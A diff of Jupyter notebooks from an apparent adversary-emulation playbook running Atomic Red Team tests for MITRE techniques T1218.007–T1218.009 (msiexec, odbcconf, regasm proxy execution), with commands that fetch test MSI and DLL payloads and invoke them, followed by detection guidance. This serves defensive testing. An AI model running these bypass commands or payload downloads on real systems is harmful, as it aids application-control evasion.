msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\"\n\n```" + "source": "### Atomic Test #3 - Msiexec.exe - Execute Local MSI file with an embedded DLL\nExecutes an MSI containing an embedded DLL using msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c8540960", + "id": "380bd10a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "942393d0", + "id": "1dde40f1", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -100,28 +100,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1094fb9d", + "id": "a930d305", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "fd3db84b", + "id": "9e42fd6d", "metadata": {}, - "source": "### Atomic Test #4 - Msiexec.exe - Execute Local MSI file with an embedded EXE\nExecutes an MSI containing an embedded EXE using msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\"\n\n```" + "source": "### Atomic Test #4 - Msiexec.exe - Execute Local MSI file with an embedded EXE\nExecutes an MSI containing an embedded EXE using msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c66f733b", + "id": "9fa1f580", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0d8a68a2", + "id": "56d52d70", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -131,28 +131,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9e4b3a79", + "id": "7cb29f4d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "ac514051", + "id": "56d4eb21", "metadata": {}, - "source": "### Atomic Test #5 - WMI Win32_Product Class - Execute Local MSI file with embedded JScript\nExecutes an MSI containing embedded JScript code using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\"\n\n```" + "source": "### Atomic Test #5 - WMI Win32_Product Class - Execute Local MSI file with embedded JScript\nExecutes an MSI containing embedded JScript code using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a37e4505", + "id": "39a17755", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9334a514", + "id": "49e9a028", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -162,28 +162,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c399bf2f", + "id": "b6bcc189", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "1f36edf5", + "id": "49fe435d", "metadata": {}, - "source": "### Atomic Test #6 - WMI Win32_Product Class - Execute Local MSI file with embedded VBScript\nExecutes an MSI containing embedded VBScript code using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\"\n\n```" + "source": "### Atomic Test #6 - WMI Win32_Product Class - Execute Local MSI file with embedded VBScript\nExecutes an MSI containing embedded VBScript code using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c4dac819", + "id": "ab30df8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fee0e16b", + "id": "423225db", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -193,28 +193,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cd231e91", + "id": "03032371", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "1bddf846", + "id": "94ba7f1b", "metadata": {}, - "source": "### Atomic Test #7 - WMI Win32_Product Class - Execute Local MSI file with an embedded DLL\nExecutes an MSI containing an embedded DLL using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\"\n\n```" + "source": "### Atomic Test #7 - WMI Win32_Product Class - Execute Local MSI file with an embedded DLL\nExecutes an MSI containing an embedded DLL using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_DLL.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cee11520", + "id": "66f95270", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "276aed6f", + "id": "408d6b57", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -224,28 +224,28 @@ { "cell_type": "code", "execution_count": null, - "id": "220e010c", + "id": "41fd3571", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "2f94f535", + "id": "4ea354b0", "metadata": {}, - "source": "### Atomic Test #8 - WMI Win32_Product Class - Execute Local MSI file with an embedded EXE\nExecutes an MSI containing an embedded EXE using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\"\n\n```" + "source": "### Atomic Test #8 - WMI Win32_Product Class - Execute Local MSI file with an embedded EXE\nExecutes an MSI containing an embedded EXE using the WMI Win32_Product class\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_EXE.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7a7a5471", + "id": "904e1e21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4cdf5d22", + "id": "0866123e", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -255,28 +255,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c13cf72f", + "id": "f54be0c6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "1a9c77a3", + "id": "caa72190", "metadata": {}, - "source": "### Atomic Test #9 - Msiexec.exe - Execute the DllRegisterServer function of a DLL\nLoads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The DLL must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\"\n\n```" + "source": "### Atomic Test #9 - Msiexec.exe - Execute the DllRegisterServer function of a DLL\nLoads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The DLL must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d2c204bb", + "id": "01ab7678", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6566d0ce", + "id": "28f84c4b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -286,28 +286,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bbdaef65", + "id": "106d25e4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "308943e4", + "id": "b286e20d", "metadata": {}, - "source": "### Atomic Test #10 - Msiexec.exe - Execute the DllUnregisterServer function of a DLL\nLoads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The DLL must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\"\n\n```" + "source": "### Atomic Test #10 - Msiexec.exe - Execute the DllUnregisterServer function of a DLL\nLoads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the \"bin\" folder is only built for 64-bit, so this won't work on a 32-bit OS.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The DLL must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\MSIRunner.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8b5a1192", + "id": "f5b110fb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fb5290c5", + "id": "4d4dc7f0", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -317,14 +317,14 @@ { "cell_type": "code", "execution_count": null, - "id": "73ad07f2", + "id": "89d23efd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "cb8c2ab5", + "id": "718c924a", "metadata": {}, "source": [ "### Atomic Test #11 - Msiexec.exe - Execute Remote MSI file", @@ -337,14 +337,14 @@ { "cell_type": "code", "execution_count": null, - "id": "7c661068", + "id": "95003bac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "39bfe901", + "id": "d1cb1109", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed." } @@ -352,13 +352,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.008.ipynb b/playbook/tactics/defense-evasion/T1218.008.ipynb index f1b2862f..e45a73fc 100644 --- a/playbook/tactics/defense-evasion/T1218.008.ipynb +++ b/playbook/tactics/defense-evasion/T1218.008.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "2c11fc4b", + "id": "815ea895", "metadata": {}, "source": "# T1218.008 - Odbcconf\nAdversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n" }, { "cell_type": "markdown", - "id": "02d494d9", + "id": "b85b6cb2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "65d3af80", + "id": "5a5376fc", "metadata": {}, - "source": "### Atomic Test #1 - Odbcconf.exe - Execute Arbitrary DLL\nExecute arbitrary DLL file stored locally.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.008\\src\\Win32\\T1218-2.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.008\\src\\Win32\\T1218-2.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll\" -OutFile \"PathToAtomicsFolder\\T1218.008\\src\\Win32\\T1218-2.dll\"\n\n```" + "source": "### Atomic Test #1 - Odbcconf.exe - Execute Arbitrary DLL\nExecute arbitrary DLL file stored locally.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.008\\src\\Win32\\T1218-2.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.008\\src\\Win32\\T1218-2.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll\" -OutFile \"PathToAtomicsFolder\\T1218.008\\src\\Win32\\T1218-2.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dd203902", + "id": "8608bcbc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.008 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "637f97bf", + "id": "b233ba0e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,45 +38,45 @@ { "cell_type": "code", "execution_count": null, - "id": "5401edd9", + "id": "f4ba2443", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "aedd1904", + "id": "600f6512", "metadata": {}, - "source": "### Atomic Test #2 - Odbcconf.exe - Load Response File\nExecute arbitrary response file that will spawn PowerShell.exe.\nSource files: https://github.com/woanware/application-restriction-bypasses\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.008\\bin\\T1218.008.rsp) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp\" -OutFile \"PathToAtomicsFolder\\T1218.008\\bin\\T1218.008.rsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll\" -OutFile \"PathToAtomicsFolder\\T1218.008\\bin\\\\o.dll\"\n\n```" + "source": "### Atomic Test #2 - Odbcconf.exe - Load Response File\nExecute arbitrary response file that will spawn PowerShell.exe.\nSource files: https://github.com/woanware/application-restriction-bypasses\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.008\\bin\\T1218.008.rsp\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp\" -OutFile \"PathToAtomicsFolder\\T1218.008\\bin\\T1218.008.rsp\"\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll\" -OutFile \"PathToAtomicsFolder\\T1218.008\\bin\\\\o.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c5fda160", + "id": "d880225a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.008 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "973bdf1c", + "id": "704a3b42", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncd PathToAtomicsFolder\\T1218.008\\bin\\\nodbcconf.exe -f T1218.008.rsp\n```" + "```command_prompt\ncd \"PathToAtomicsFolder\\T1218.008\\bin\\\"\nodbcconf.exe -f \"T1218.008.rsp\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b6bc04ac", + "id": "68bb6abc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.008 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1d40d2ba", + "id": "c821abd7", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded." } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.009.ipynb b/playbook/tactics/defense-evasion/T1218.009.ipynb index 96563766..4af3db1c 100644 --- a/playbook/tactics/defense-evasion/T1218.009.ipynb +++ b/playbook/tactics/defense-evasion/T1218.009.ipynb @@ -2,78 +2,78 @@ "cells": [ { "cell_type": "markdown", - "id": "f6c1abd5", + "id": "c66f840b", "metadata": {}, "source": "# T1218.009 - Regsvcs/Regasm\nAdversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)" }, { "cell_type": "markdown", - "id": "22817c77", + "id": "9e96e7b5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "eca81b77", + "id": "cbef4dc4", "metadata": {}, - "source": "### Atomic Test #1 - Regasm Uninstall Method Call Test\nExecutes the Uninstall Method, No Admin Rights Required. Upon execution, \"I shouldn't really execute either.\" will be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The CSharp source file must exist on disk at specified location (#{source_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\"\n\n```" + "source": "### Atomic Test #1 - Regasm Uninstall Method Call Test\nExecutes the Uninstall Method, No Admin Rights Required. Upon execution, \"I shouldn't really execute either.\" will be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The CSharp source file must exist on disk at specified location (#{source_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 